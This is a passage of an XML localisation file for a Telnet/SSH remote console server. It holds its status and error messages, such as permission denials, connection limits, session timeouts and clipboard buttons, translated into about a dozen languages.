Sie haben nicht die erforderlichen Rechte, um eine Telnetverbindung zu diesem Computer aufzubauen.\n\n</de>
<es>FAIL\n
No tiene derechos para acceder vía telnet a este ordenador.\n\n</es>
<fr>FAIL\n
Vous n'avez pas les droits pour utilser telnet sur cet ordinateur.\n\n</fr>
<it>FAIL\n
Non si dispone dei diritti per eseguire il Telnet al computer.\n\n</it>
<ru>FAIL\n
У вас нет прав на удаленное управление данным компьютером.</ru>
<ja>FAIL\n このコンピュータに対する Telnet 操作の権限がありません。\n\n</ja>
<zh>FAIL\n
您没有远程登录至此计算机的权限。\n\n</zh>
<ko>FAIL\n
이 컴퓨터에 대한 텔넷 권한이 없습니다.\n\n</ko>
<en-gb>FAIL\n
You do not have the rights to telnet to this computer.\n\n</en-gb>
<hu>FAIL\n
Önnek nincs jogosultsága ennek a számítógépnek a Telnettel való elérésére.\n\n</hu>
<pt-br>FAIL\n
Você não tem direitos de usar telnet neste computador.\n\n</pt-br>
<nl>FAIL\n U beschikt niet over de vereiste toegangsrechten om via Telnet een verbinding met deze computer te maken.\n\n</nl>
</msg>
<msg name="DISABLED">
<en>FAIL\n
The Telnet server has been disabled by the Administrator.\n\n\r
</en>
<de>FAIL\n
Der Telnet Server wurde vom Administrator deaktiviert.\n\n\r</de>
<es>FAIL\n
El Administrador ha deshabilitado el servidor Telnet.\n\n\r</es>
<fr>FAIL\n
Le serveur Telnet a été désactivé par l'administrateur.\n\n\r</fr>
<it>FAIL\n
Il server Telnet è stato disattivato dall'amministratore.\n\n\r</it>
<ru>FAIL\n
Telnet-сервер отключен администратором.\n\n\r</ru>
<ja>FAIL\n Telnet サーバーは管理者が無効にしています。\n\n\r</ja>
<zh>FAIL\n
管理员已禁用 Telnet 服务器。\n\n\r</zh>
<ko>FAIL\n
텔넷 서버가 관리자에 의해 비활성화되었습니다.\n\n\r</ko>
<en-gb>FAIL\n
The Telnet server has been disabled by the Administrator.\n\n\r</en-gb>
<hu>FAIL\n
A Telnet kiszolgálót a rendszergazda kikapcsolta.\n\n\r</hu>
<pt-br>FAIL\n
O servidor Telnet foi desabilitado pelo administrador.\n\n\r</pt-br>
<nl>FAIL\n De Telnet-server is uitgeschakeld door de systeembeheerder.\n\n\r</nl>
</msg>
<msg name="SSHDISABLED">
<en>FAIL\n
The SSH server has been disabled by the Administrator.\n\n\r
</en>
<de>FAIL\n
Der SSH Server wurde durch den Administrator deaktiviert.\n\n\r</de>
<es>FAIL\n
El Administrador ha deshabilitado el servidor SSH.\n\n\r</es>
<fr>FAIL\n
Le serveur SSH server a été désactivé par l'administrateur.\n\n\r</fr>
<it>FAIL\n
Il server SSH è stato disattivato dall'amministratore.\n\n\r</it>
<ru>FAIL\n
SSH-сервер отключен администратором.\n\n\r</ru>
<ja>FAIL\n SSH サーバーは管理者が無効にしています。\n\n\r</ja>
<zh>FAIL\n
管理员已禁用 SSH 服务器。\n\n\r</zh>
<ko>FAIL\n
SSH 서버가 관리자에 의해 비활성화되었습니다.\n\n\r</ko>
<en-gb>FAIL\n
The SSH server has been disabled by the Administrator.\n\n\r</en-gb>
<hu>FAIL\n
Az SSH kiszolgálót a rendszergazda kikapcsolta.\n\n\r</hu>
<pt-br>FAIL\n
O servidor SSH foi desabilitado pelo administrador.\n\n\r</pt-br>
<nl>FAIL\n De SSH-server is uitgeschakeld door de systeembeheerder.\n\n\r</nl>
</msg>
<msg name="MAXCONN">
<en>FAIL\n
Maximum number of Telnet/SSH connections exceeded.\n\n\r
</en>
<de>FAIL\n
Die maximal mögliche Anzahl konkurrierender Telnet/SSH Verbindungen wurde überschritten.\n\n\r</de>
<es>FAIL\n
Se ha sobrepasado el número máximo de conexiones Telnet/SSH.\n\n\r</es>
<fr>FAIL\n
Nombre de connexionsTelnet/SSH dépassé.\n\n\r</fr>
<it>FAIL\n
Numero massimo di connessioni Telnet/SSH superato.\n\n\r</it>
<ru>FAIL\n
Превышено максимальное число Telnet/SSH-подключений.\n\n\r</ru>
<ja>FAIL\n Telnet/SSH 接続の最大数を超えています。\n\n\r</ja>
<zh>FAIL\n
已超过 Telnet/SSH 的最大连接数。\n\n\r</zh>
<ko>FAIL\n
최대 텔넷/SSH 연결 수가 초과되었습니다.\n\n\r</ko>
<en-gb>FAIL\n
Maximum number of Telnet/SSH connections exceeded.\n\n\r</en-gb>
<hu>FAIL\n
A Telnet/SSH kapcsolatok maximális száma túllépve.\n\n\r</hu>
<pt-br>FAIL\n
Número máximo de conexões Telnet/SSH excedidas.\n\n\r</pt-br>
<nl>FAIL\n Het maximumaantal Telnet/SSH-verbindingen is overschreden.\n\n\r</nl>
</msg>
<msg name="SESSIONFAIL">
<en>FAIL\n
Failed to create session:</en>
<de>FAIL\n
konnte Sitzung nicht eröffnen:</de>
<es>FAIL\n
Error al crear nueva sesión:</es>
<fr>FAIL\n
Echec à la création d'une session:</fr>
<it>FAIL\n
Creazione di sessione non riuscita:</it>
<ru>FAIL\n
Не удалось создать сеанс:</ru>
<ja>FAIL\n 次のセッションの作成に失敗しました :</ja>
<zh>FAIL\n
创建会话失败:</zh>
<ko>FAIL\n
세션 만들기 실패:</ko>
<en-gb>FAIL\n
Failed to create session:</en-gb>
<hu>FAIL\n
Nem sikerült létrehozni a munkamenetet.</hu>
<pt-br>FAIL\n
Falha ao criar sessão:</pt-br>
<nl>FAIL\n Maken van een sessie is mislukt:</nl>
</msg>
<!-- messages -->
<msg name="FAILINIT">
<en>Failed to initialize</en>
<de>Initialisierung nicht möglich</de>
<es>Error al iniciar</es>
<fr>Echec d'initialisation</fr>
<it>Inizializzazione non riuscita</it>
<ru>Не удалось инициализировать</ru>
<ja>初期化に失敗しました</ja>
<zh>初始化失败</zh>
<ko>초기화 실패</ko>
<en-gb>Failed to initialise</en-gb>
<hu>Nem sikerült inicializálni</hu>
<pt-br>Falha ao inicializar</pt-br>
<nl>Initialiseren is mislukt</nl>
</msg>
<msg name="NOMOUSE">
<en>Mouse events will not be sent</en>
<de>Mausereignisse werden nicht versandt</de>
<es>No se enviarán los sucesos del ratón</es>
<fr>Les mouvements de souris ne seront pas transmis</fr>
<it>Gli eventi del mouse non verranno inviati</it>
<ru>События мыши не будут отправлены</ru>
<ja>マウス イベントは送信されません</ja>
<zh>将不发送鼠标事件</zh>
<ko>마우스 이벤트가 전송되지 않음</ko>
<en-gb>Mouse events will not be sent</en-gb>
<hu>Az egéresemények nem kerülnek küldésre</hu>
<pt-br>Os eventos de mouse não serão enviados</pt-br>
<nl>Muisgebeurtenissen zullen niet worden verzonden</nl>
</msg>
<msg name="MOUSECLICKS">
<en>Sending mouse clicks</en>
<de>Mausklicks werden gesendet</de>
<es>Enviando clics del ratón</es>
<fr>Envoyez les clicks de souris</fr>
<it>Invio di clic del mouse</it>
<ru>Отправка щелчков кнопок мыши</ru>
<ja>マウス クリックを送信しています</ja>
<zh>正在发送鼠标单击</zh>
<ko>마우스 클릭을 보내는 중</ko>
<en-gb>Sending mouse clicks</en-gb>
<hu>Egérkattintások küldése</hu>
<pt-br>Enviando cliques de mouse</pt-br>
<nl>Bezig met verzenden van muisklikken</nl>
</msg>
<msg name="MOUSEDRAGS">
<en>Sending mouse clicks and drag operations</en>
<de>Mausklicks und Drag-Operationen werden gesendet</de>
<es>Enviando clics del ratón y operaciones de arrastre</es>
<fr>Envoyer les clicks et les déplacements de souris</fr>
<it>Invio di clic del mouse e operazioni di trascinamento</it>
<ru>Отправка щелчков кнопок мыши или операций перетаскивания</ru>
<ja>マウス クリックおよびドラッグ操作を送信しています</ja>
<zh>正在发送鼠标单击和拖动操作</zh>
<ko>마우스 클릭 및 드래그 작업을 보내는 중</ko>
<en-gb>Sending mouse clicks and drag operations</en-gb>
<hu>Egérkattintások és húzási műveletek küldése</hu>
<pt-br>Enviando operações de clique de mouse e arrastar</pt-br>
<nl>Bezig met verzenden van muisklikken en sleepacties</nl>
</msg>
<msg name="ALLMOUSE">
<en>Sending all mouse events</en>
<de>Alle Mausereignisse werden gesendet</de>
<es>Enviando todos los sucesos del ratón</es>
<fr>Envoyez tous les mouvements de souris</fr>
<it>Invio di tutti gli eventi del mouse</it>
<ru>Отправка всех событий мыши</ru>
<ja>すべてのマウス イベントを送信しています</ja>
<zh>正在发送所有鼠标事件</zh>
<ko>모든 마우스 이벤트를 보내는 중</ko>
<en-gb>Sending all mouse events</en-gb>
<hu>Összes egérművelet küldése</hu>
<pt-br>Enviando todos os eventos de mouse</pt-br>
<nl>Bezig met verzenden van alle muisgebeurtenissen</nl>
</msg>
<msg name="WORKING">
<en>Working...</en>
<de>In Arbeit ...</de>
<es>Trabajando...</es>
<fr>En fonction...</fr>
<it>In funzione...</it>
<ru>Функционирует...</ru>
<ja>動作中...</ja>
<zh>正在运行...</zh>
<ko>작동 중...</ko>
<en-gb>Working...</en-gb>
<hu>Dolgozik...</hu>
<pt-br>Funcionando...</pt-br>
<nl>Bezig met verwerken...</nl>
</msg>
<msg name="REMOTEMACHINE">
<en>remote machine</en>
<de>Remote-Computer</de>
<es>ordenador remoto</es>
<fr>machine distante</fr>
<it>computer remoto</it>
<ru>удаленный компьютер</ru>
<ja>リモート マシン</ja>
<zh>远程计算机</zh>
<ko>원격 컴퓨터</ko>
<en-gb>remote machine</en-gb>
<hu>távoli gép</hu>
<pt-br>máquina remota</pt-br>
<nl>externe computer</nl>
</msg>
<msg name="RECEIVED">
<en>Received:</en>
<de>Empfangen:</de>
<es>Recibido:</es>
<fr>Reçu:</fr>
<it>Ricevuto:</it>
<ru>Получено:</ru>
<ja>受信 :</ja>
<zh>已收到:</zh>
<ko>받은 날짜:</ko>
<en-gb>Received:</en-gb>
<hu>Megérkezett:</hu>
<pt-br>Recebido:</pt-br>
<nl>Ontvangen:</nl>
</msg>
<msg name="SENT">
<en>Sent:</en>
<de>Gesendet:</de>
<es>Enviado:</es>
<fr>Envoyé:</fr>
<it>Inviato:</it>
<ru>Отправлено:</ru>
<ja>送信 :</ja>
<zh>已发送:</zh>
<ko>보낸 날짜:</ko>
<en-gb>Sent:</en-gb>
<hu>Küldött:</hu>
<pt-br>Enviado:</pt-br>
<nl>Verzonden:</nl>
</msg>
<msg name="SIZE">
<en>Size:</en>
<de>Größe:</de>
<es>Tamaño:</es>
<fr>Taille:</fr>
<it>Dimensione:</it>
<ru>Размер:</ru>
<ja>サイズ :</ja>
<zh>大小:</zh>
<ko>크기:</ko>
<en-gb>Size:</en-gb>
<hu>Méret:</hu>
<pt-br>Tamanho:</pt-br>
<nl>Grootte:</nl>
</msg>
<msg name="INITIALIZING">
<en>Initializing</en>
<de>Initialisieren</de>
<es>Iniciando</es>
<fr>Initialisation</fr>
<it>Inizializzazione</it>
<ru>Инициализация</ru>
<ja>初期化しています</ja>
<zh>正在初始化</zh>
<ko>초기화 중</ko>
<en-gb>Initialising</en-gb>
<hu>Inicializálás</hu>
<pt-br>Inicializando</pt-br>
<nl>Bezig met initialiseren</nl>
</msg>
<msg name="UPDATING">
<en>Updating</en>
<de>Aktualisieren</de>
<es>Actualizando</es>
<fr>Mise à jour</fr>
<it>Aggiornamento</it>
<ru>Обновление</ru>
<ja>更新しています</ja>
<zh>正在更新</zh>
<ko>업데이트 중</ko>
<en-gb>Updating</en-gb>
<hu>Frissítés</hu>
<pt-br>Atualizando</pt-br>
<nl>Bezig met updaten</nl>
</msg>
<msg name="MARKRECT">
<en>Mark selection</en>
<de>Selektion markieren</de>
<es>Marcar selección</es>
<fr>Marque de sélection</fr>
<it>Contrassegna selezione</it>
<ru>Отметить выделение</ru>
<ja>選択のマーク</ja>
<zh>标记选项</zh>
<ko>선택 항목 표시</ko>
<en-gb>Mark selection</en-gb>
<hu>Kijelölés kiemelése</hu>
<pt-br>Marcar seleção</pt-br>
<nl>Selectie markeren</nl>
</msg>
<msg name="BTNCB">
<en>CB</en>
<de>Zwischenabl.</de>
<es>PP</es>
<fr>PP</fr>
<it>Appunti</it>
<ru>Буфер обмена</ru>
<ja>クリップボード</ja>
<zh>CB</zh>
<ko>CB</ko>
<en-gb>CB</en-gb>
<hu>CB</hu>
<pt-br>AT</pt-br>
<nl>Klembord</nl>
</msg>
<msg name="BTNCBTITLE">
<en>Show the clipboard window</en>
<de>Das Fenster für die Zwischenablage anzeigen</de>
<es>Mostrar ventana del portapapeles</es>
<fr>Afficher la fenêtre du presse-papier</fr>
<it>Mostra la finestra degli Appunti</it>
<ru>Показывать окно буфера обмена</ru>
<ja>クリップボード ウィンドウを表示</ja>
<zh>显示剪贴板窗口</zh>
<ko>클립보드 창을 표시합니다.</ko>
<en-gb>Show the clipboard window</en-gb>
<hu>Vágólap-ablak mutatása</hu>
<pt-br>Mostrar janela da área de transferência</pt-br>
<nl>Klembordvenster weergeven</nl>
</msg>
<msg name="BTNMARK">
<en>Mark</en>
<de>Markieren</de>
<es>Marcar</es>
<fr>Marquer</fr>
<it>Contrassegna</it>
<ru>Отметить</ru>
<ja>マーク</ja>
<zh>标记</zh>
<ko>표시</ko>
<en-gb>Mark</en-gb>
<hu>Kiemel</hu>
<pt-br>Marcar</pt-br>
<nl>Markeren</nl>
</msg>
<msg name="BTNMARKTITLE">
<en>Mark a rectangle of text for selection</en>
<de>Markieren sie einen rechtwinkligen Textbereich für die Selektion</de>
<es>Marcar un rectángulo de texto para la selección</es>
<fr>Marquer un rectangle de texte pour la sélection</fr>
<it>Contrassegna un rettangolo di testo da selezionare</it>
<ru>Отметить прямоугольник текста для выделения</ru>
<ja>テキストの矩形処理で選択をマーク</ja>
<zh>标记矩形文本以选中</zh>
<ko>선택할 텍스트 사각형을 표시합니다.</ko>
<en-gb>Mark a rectangle of text for selection</en-gb>
<hu>Kiválasztás kiemelése négyszöggel</hu>
<pt-br>Marcar um retângulo de texto para seleção</pt-br>
<nl>Een selectierechthoek rondom tekst markeren</nl>
</msg>
<msg name="BTNCOPY">
<en>Copy</en>
<de>Kopieren</de>
<es>Copiar</es>
<fr>Copie</fr>
<it>Copia</it>
<ru>Копировать</ru>
<ja>コピー</ja>
<zh>复制</zh>
<ko>복사</ko>
<en-gb>Copy</en-gb>
<hu>Másolás</hu>
<pt-br>Copiar</pt-br>
<nl>Kopiëren</nl>
</msg>
<msg name="BTNCOPYTITLE">
<en>Copy the selected text to the clipboard</en>
<de>Kopieren sie den selektierten Text in die Zwischenablage</de>
<es>Copiar el texto seleccionado en el portapapeles</es>
<fr>Copie le texte sélectionné dans le presse-papier</fr>
<it>Copia il testo selezionato negli Appunti</it>
<ru>Скопировать выделенный текст в буфер обмена</ru>
<ja>選択されているテキストをクリップボードにコピー</ja>
<zh>将所选文本复制到剪贴板</zh>
<ko>선택한 텍스트를 클립보드에 복사합니다.</ko>
<en-gb>Copy the selected text to the clipboard</en-gb>
<hu>Kijelölt szöveg másolása a vágólapra</hu>
<pt-br>Copiar o texto selecionado na área de transferência</pt-br>
<nl>De geselecteerde tekst naar het Klembord kopiëren</nl>
</msg>
<msg name="BTNPASTE">
<en>Paste</en>
<de>Einfügen</de>
<es>Pegar</es>
<fr>Coller</fr>
<it>Incolla</it>
<ru>Вставить</ru>
<ja>貼り付け</ja>
<zh>粘贴</zh>
<ko>붙여넣기</ko>
<en-gb>Paste</en-gb>
<hu>Beillesztés</hu>
<pt-br>Colar</pt-br>
<nl>Plakken</nl>
</msg>
<msg name="BTNPASTETITLE">
<en>Paste clipboard contents to the console input</en>
<de>Inhalt der Zwischenablage in die Console kopieren</de>
<es>Pegar el contenido del portapapeles en la consola de entrada</es>
<fr>Coller le contenu du presse-papier sur la console</fr>
<it>Incolla il contenuto degli Appunti nel campo di immissione della console</it>
<ru>Вставить содержимое буфера обмена в строку ввода консоли</ru>
<ja>クリップボードの中身をコンソール入力に貼り付ける</ja>
<zh>将剪贴板内容粘贴到控制台输入</zh>
<ko>클립보드 내용을 콘솔 입력에 붙여넣습니다.</ko>
<en-gb>Paste clipboard contents to the console input</en-gb>
<hu>Vágólap tartalmának beillesztése a konzolbemenetre</hu>
<pt-br>Colar conteúdo da área de transferência na entrada do console</pt-br>
<nl>De inhoud van het Klembord plakken in het invoervak van de console</nl>
</msg>
<msg name="BTNFONT">
<en>Font...</en>
<de>Schriftart...</de>
<es>Fuente...</es>
<fr>Police...</fr>
<it>Font...</it>
<ru>Шрифт...</ru>
<ja>フォント...</ja>
<zh>字体...</zh>
<ko>글꼴...</ko>
<en-gb>Font...</en-gb>
<hu>Betűtípus</hu>
<pt-br>Fonte...</pt-br>
<nl>Lettertype...</nl>
</msg>
<msg name="RECONNECTING">
<en>You are being reconnected to your previously broken session...</en>
<de>Sie werden mit Ihrer vorgehend unterbrochenen Sitzung wieder verbunden...</de>
<es>Se está volviendo a conectar su sesión interrumpida anteriormente...</es>
<fr>Vous avez été reconnecté à votre précédente session qui a été interrompue...</fr>
<it>Riconnessione alla sessione interrotta in precedenza...</it>
<ru>Выполняется повторное подключение к ранее разорванному сеансу...</ru>
<ja>以前に壊れたセッションに再接続しようとしています...</ja>
<zh>您正重新连接至先前断开的会话...</zh>
<ko>이전에 끊어진 세션에 다시 연결 중입니다...</ko>
<en-gb>You are being reconnected to your previously broken session...</en-gb>
<hu>Újracsatlakoztatva a korábban megszakadt munkamenethez...</hu>
<pt-br>Você está sendo reconectado à sua sessão anteriormente interrompida...</pt-br>
<nl>Er wordt opnieuw een verbinding gemaakt voor de sessie waarvan de verbinding eerder is verbroken...</nl>
</msg>
<msg name="RECONNECTFAIL">
<en>Failed to reconnect to a previously broken session</en>
<de>Die Verbindung zu der vorgehend unterbrochenen Sitzung kann nicht wieder hergestellt werden</de>
<es>Error al volver a conectar una sesión anteriormente interrumpida</es>
<fr>Echec de reconnexion à votre précédente session qui a été interrompue</fr>
<it>Riconnessione a una sessione interrotta in precedenza non riuscita</it>
<ru>Не удалось подключиться к ранее разорванному сеансу</ru>
<ja>以前に壊れたセッションへの再接続に失敗しました。</ja>
<zh>重新连接至先前断开的会话失败</zh>
<ko>이전에 끊어진 세션에 다시 연결하지 못했습니다.</ko>
<en-gb>Failed to reconnect to a previously broken session</en-gb>
<hu>Nem sikerült az újracsatlakoztatás a korábban megszakadt munkamenethez</hu>
<pt-br>Falha ao reconectar a uma sessão previamente interrompida</pt-br>
<nl>Opnieuw verbinding maken is mislukt voor de sessie waarvan de verbinding eerder is verbroken</nl>
</msg>
<msg name="INITAWTCONSOLE">
<en>Initializing console window...</en>
<de>Fenster der Console wird initialisiert ...</de>
<es>Iniciando ventana de la consola...</es>
<fr>Initialisation de la console Windows</fr>
<it>Inizializzazione della finestra della console...</it>
<ru>Инициализация окна консоли...</ru>
<ja>コンソール ウィンドウを初期化しています...</ja>
<zh>正在初始化控制台窗口...</zh>
<ko>콘솔 창을 초기화하는 중...</ko>
<en-gb>Initialising console window...</en-gb>
<hu>Konzolablak inicializálása...</hu>
<pt-br>Inicializando janela do console...</pt-br>
<nl>Bezig met initialiseren van consolevenster...</nl>
</msg>
<msg name="LOADFONTIMAGE">
<en>Loading font image</en>
<de>Font Image wird geladen</de>
<es>Cargando imagen de fuente</es>
<fr>Chargement des images de police</fr>
<it>Caricamento dell'immagine font</it>
<ru>Загрузка изображения шрифта</ru>
<ja>フォント イメージのロード中</ja>
<zh>正在加载字体图像</zh>
<ko>글꼴 이미지 로드 중</ko>
<en-gb>Loading font image</en-gb>
<hu>Betűkép betöltése</hu>
<pt-br>Carregando imagem da fonte</pt-br>
<nl>Bezig met laden van lettertypebeeld</nl>
</msg>
<msg name="LOADFONTIMAGEFAIL">
<en>Failed to load font image.</en>
<de>Font Image konnte nicht geladen werden.</de>
<es>Error al cargar imagen de fuente.</es>
<fr>Echec de chargement des images de police</fr>
<it>Caricamento dell'immagine font non riuscito.</it>
<ru>Не удалось загрузить изображение шрифта.</ru>
<ja>フォント イメージのロードに失敗しました。</ja>
<zh>加载字体图像失败。</zh>
<ko>글꼴 이미지를 로드하지 못했습니다.</ko>
<en-gb>Failed to load font image.</en-gb>
<hu>Nem sikerült a betűkép betöltése.</hu>
<pt-br>Falha ao carregar imagem da fonte.</pt-br>
<nl>Laden van lettertypebeeld is mislukt.</nl>
</msg>
<msg name="CREATINGCOLOR">
<en>Creating color font images...</en>
<de>Farbige Font Images werden erstellt ...</de>
<es>Creando color de imágenes de fuente...</es>
<fr>Création des images couleurs de police</fr>
<it>Creazione di immagini font a colori...</it>
<ru>Создание цветных изображений шрифта...</ru>
<ja>カラー フォント イメージを作成しています...</ja>
<zh>正在创建颜色字体图像...</zh>
<ko>색상 글꼴 이미지를 만드는 중...</ko>
<en-gb>Creating colour font images...</en-gb>
<hu>Színes betűképek készítése...</hu>
<pt-br>Criando imagens de fonte de cor...</pt-br>
<nl>Bezig met maken van kleurenlettertypebeelden...</nl>
</msg>
<msg name="AWTREADY">
<en>Console window ready.</en>
<de>Console bereit.</de>
<es>Ventana de consola lista.</es>
<fr>Console Windows prête</fr>
<it>Finestra della console pronta.</it>
<ru>Окно консоли готово.</ru>
<ja>コンソール ウィンドウの準備ができました。</ja>
<zh>控制台窗口准备就绪。</zh>
<ko>콘솔 창이 준비되었습니다.</ko>
<en-gb>Console window ready.</en-gb>
<hu>A konzolablak készen áll.</hu>
<pt-br>Janela do console pronta.</pt-br>
<nl>Consolevenster is gereed voor gebruik.</nl>
</msg>
<msg name="IDLETIMEOUT">
<en>Idle timeout expired, closing connection.</en>
<de>Leerlauf Timeout überschritten, die Verbindung wird geschlossen.</de>
<es>Se ha superado el límite de tiempo en reposo, finalizando conexión.</es>
<fr>Délai d'inactivité dépassé, déconnexion</fr>
<it>Timeout inattività scaduto, chiusura della connessione.</it>
<ru>Таймаут простоя истек, соединение закрывается.</ru>
<ja>アイドル タイムアウトが経過したため、接続を終了します。</ja>
<zh>空闲超时已过期,正在关闭连接。</zh>
<ko>유휴 시간 초과 만료, 연결을 닫습니다.</ko>
<en-gb>Idle timeout expired, closing connection.</en-gb>
<hu>Az üresjárati időtúllépés lejárt, kapcsolat lezárása.</hu>
<pt-br>Tempo limite ocioso expirado, fechando conexão.</pt-br>
<nl>Time-out voor inactiviteit is verstreken, de verbinding wordt nu verbroken.</nl>
</msg>
<msg name="SHELLEXIT">
<en>Shell process terminated, closing connection.</en>
<de>Shell Prozess beendet, die Verbindung wird geschlossen.</de>
<es>Proceso shell terminado, finalizando conexión.</es>
<fr>Processus Shell terminé, déconnexion</fr>
<it>Processo shell interrotto, chiusura della connessione.</it>
<ru>Процесс оболочки завершен, соединение закрывается.</ru>
<ja>シェル プロセスが終了したため、接続を終了します。</ja>
<zh>Shell 进程已终止,正在关闭连接。</zh>
<ko>셸 프로세스가 종료되었습니다. 연결을 닫습니다.</ko>
<en-gb>Shell process terminated, closing connection.</en-gb>
<hu>A héjprogram folyamata befejeződött, kapcsolat lezárása.</hu>
<pt-br>Processo de shell encerrado, fechando conexão.</pt-br>
<nl>Shell-proces is beëindigd, de verbinding wordt nu verbroken.</nl>
</msg>
<msg name="SHUTDOWN">
<en>%PRODUCTNAME shut down, closing connection.</en>
<de>%PRODUCTNAME wird beendet, die Verbindung wird geschlossen.</de>
<es>Se ha cerrado %PRODUCTNAME, finalizando conexión.</es>
<fr>%PRODUCTNAME s'est arrêté, déconnexion</fr>
<it>Arresto di %PRODUCTNAME, chiusura della connessione.</it>
<ru>%PRODUCTNAME выключается, соединение закрывается.</ru>
<ja>%PRODUCTNAME がシャット ダウンしたため、接続を終了します。</ja>
<zh>%PRODUCTNAME 已关闭,正在关闭连接。</zh>
<ko>%PRODUCTNAME 종료, 연결을 닫습니다.</ko>
<en-gb>%PRODUCTNAME shut down, closing connection.</en-gb>
<hu>A %PRODUCTNAME leállt, kapcsolat lezárása.</hu>
<pt-br>%PRODUCTNAME desligado, fechando conexão.</pt-br>
<nl>%PRODUCTNAME is bezig met afsluiten, de verbinding wordt nu verbroken.</nl>
</msg>
<msg name="MAXCONN2">
<en>Maximum number of Telnet/SSH connections exceeded.</en>
<de>Maximale Anzahl an konkurrierenden Telnet/SSH Verbindungen überschritten.</de>
<es>Se ha sobrepasado el número máximo de conexiones Telnet/SSH.</es>
<fr>Nombre maximum de connexions Telnet/SSH dépassé.</fr>
<it>Numero massimo di connessioni Telnet/SSH superato.</it>
<ru>Превышено максимальное число Telnet/SSH-подключений.</ru>
<ja>Telnet/SSH 接続の最大数を超えています。</ja>
<zh>已超过 Telnet/SSH 的最大连接数。</zh>
<ko>최대 텔넷/SSH 연결 수가 초과되었습니다.</ko>
<en-gb>Maximum number of Telnet/SSH connections exceeded.</en-gb>
<hu>A Telnet/SSH kapcsolatok maximális száma túllépve.</hu>
<pt-br>Número máximo de conexões Telnet/SSH excedidas.</pt-br>
<nl>Het maximumaantal Telnet/SSH-verbindingen is overschreden.</nl>
</msg>
<msg name="NOCOMSPEC">
<en>Cannot find the "ComSpec" environment table entry.</en>
<de>Kann den Eintrag "ComSpec" in der Tabelle der Umgebungsvariablen nicht finden.</de>
<es>No se puede encontrar el entrada "ComSpec" de la tabla de entorno.</es>
<fr>Ne peut pas trouver l'entrée de table d'environnement de "ComSpec".</fr>
<it>Impossibile trovare la voce della tabella delle variabili d'ambiente "ComSpec".</it>
<ru>Не удается найти запись таблицы среды "ComSpec".</ru>
<ja>"ComSpec" 環境のテーブル エントリが見つかりません。</ja>
<zh>无法找到“ComSpec”环境表条目。</zh>
<ko>"ComSpec" 환경 테이블 항목을 찾을 수 없습니다.</ko>
<en-gb>Cannot find the "ComSpec" environment table entry.</en-gb>
<hu>Nem sikerül megtalálni a "ComSpec" környezeti változó táblázat-bejegyzését.</hu>
<pt-br>Não é possível localizar a entrada da tabela do ambiente "ComSpec".</pt-br>
<nl>De tabelingang voor de "ComSpec"-omgevingsvariabele kon niet worden gevonden.</nl>
</msg>
<msg name="LOGINTIMEOUT">
<en>Login timeout expired, disconnecting.</en>
<de>Das Zeitfenster für die Anmeldung ist abgelaufen, die Verbindung wird geschlossen.</de>
<es>Se ha superado el límite de tiempo para iniciar sesión, finalizando conexión.</es>
<fr>Délai de login expiré, déconnexion.</fr>
<it>Timeout di accesso scaduto, disconnessione.</it>
<ru>Таймаут входа истек, соединение закрывается.</ru>
<ja>ログイン タイムアウトが経過したため、切断します。</ja>
<zh>登录超时已过期,正在断开连接。</zh>
<ko>로그인 시간 초과 만료, 연결을 끊습니다.</ko>
<en-gb>Login timeout expired, disconnecting.</en-gb>
<hu>A bejelentkezési időtúllépés lejárt, kapcsolat lezárása.</hu>
<pt-br>Tempo limite de login expirado, desconectando.</pt-br>
<nl>Time-out voor aanmelden is verstreken, de verbinding wordt nu verbroken.</nl>
</msg>
<msg name="KICKED">
<en>Session has been disconnected by the administrator. Try to reconnect later.</en>
<de>Die Verbindung der Sitzung wurde durch den Administrator unterbrochen. Versuchen Sie zu einem späteren Zeitpunkt sich erneut zu verbinden.</de>
<es>El administrador ha desconectado la sesión. Intente volver a conectarse más tarde.</es>
<fr>La session a été déconnectée par l'administrateur. Essayez de vous reconnecter plus tard.</fr>
<it>La sessione è stata disconnessa dall'amministratore. Riprovare a riconnettersi più tardi.</it>
<ru>Сеанс отключен администратором. Попытайтесь подключиться позднее.</ru>
<ja>セッションは管理者か切断しています。後で再接続してください。</ja>
<zh>管理员已断开会话连接。稍后尝试重新连接。</zh>
<ko>세션이 관리자에 의해 연결이 끊어졌습니다. 나중에 다시 연결하십시오.</ko>
<en-gb>Session has been disconnected by the administrator. Try to reconnect later.</en-gb>
<hu>A munkamenetet a rendszergazda szétcsatlakoztatta. Próbálkozzék újból később.</hu>
<pt-br>A sessão foi desconectada pelo administrador. Tente reconectar mais tarde.</pt-br>
<nl>De verbinding voor deze sessie is door de systeembeheerder verbroken. Probeer later opnieuw een verbinding te maken.</nl>
</msg>
<msg name="KILLED">
<en>Session has been terminated by the administrator.</en>
<de>Die Sitzung wurde durch den Administrator beendet.</de>
<es>El administrador ha finalizado la sesión.</es>
<fr>La session a été terminée par l'administrateur.</fr>
<it>La sessione è stata terminata dall'amministratore.</it>
<ru>Сеанс завершен администратором.</ru>
<ja>セッションは管理者が終了しています。</ja>
<zh>管理员已终止会话。</zh>
<ko>세션이 관리자에 의해 종료되었습니다.</ko>
<en-gb>Session has been terminated by the administrator.</en-gb>
<hu>A munkamenetet a rendszergazda megszüntette.</hu>
<pt-br>A sessão foi encerrada pelo administrador.</pt-br>
<nl>De sessie is beëindigd door de systeembeheerder.</nl>
</msg>
<msg name="SHELLFAIL">
<en>Failed to create shell process.</en>
<de>Der Shellprozess konnte nicht eingerichtet werden.</de>
<es>Error al crear proceso de estructura.</es>
<fr>Echec de création de processus shell.</fr>
<it>Creazione del processo shell non riuscita.</it>
<ru>Не удалось создать процесс оболочки.</ru>
<ja>シェル プロセスの作成に失敗しました。</ja>
<zh>创建 shell 进程失败。</zh>
<ko>셸 프로세스를 만들지 못했습니다.</ko>
<en-gb>Failed to create shell process.</en-gb>
<hu>Nem sikerült létrehozni a héjprogram folyamatot.</hu>
<pt-br>Falha ao criar processo de shell.</pt-br>
<nl>Het maken van het Shell-proces is mislukt.</nl>
</msg>
<cat name="CLIPBOARD">
<msg name="TITLE">
<en>Clipboard at remote machine</en>
<de>Zwischenablage (Ferncomputer)</de>
<es>Portapapeles (Ordenador remoto)</es>
<fr>Presse-papier (Ordinateur distant)</fr>
<it>Appunti (Computer remoto)</it>
<ru>Буфер обмена (удаленный компьютер)</ru>
<ja>リモートコンピューター上のクリップボード</ja>
<zh>Clipboard at remote machine</zh>
<ko>Clipboard at remote machine</ko>
<en-gb>Clipboard at remote machine</en-gb>
<hu>Vágólap a távoli gépen</hu>
<pt-br>Área de transferência (Computador remoto)</pt-br>
<nl>Klembord (Computer op afstand)</nl>
</msg>
<msg name="SEND">
<en>Send</en>
<de>Senden</de>
<es>Enviar</es>
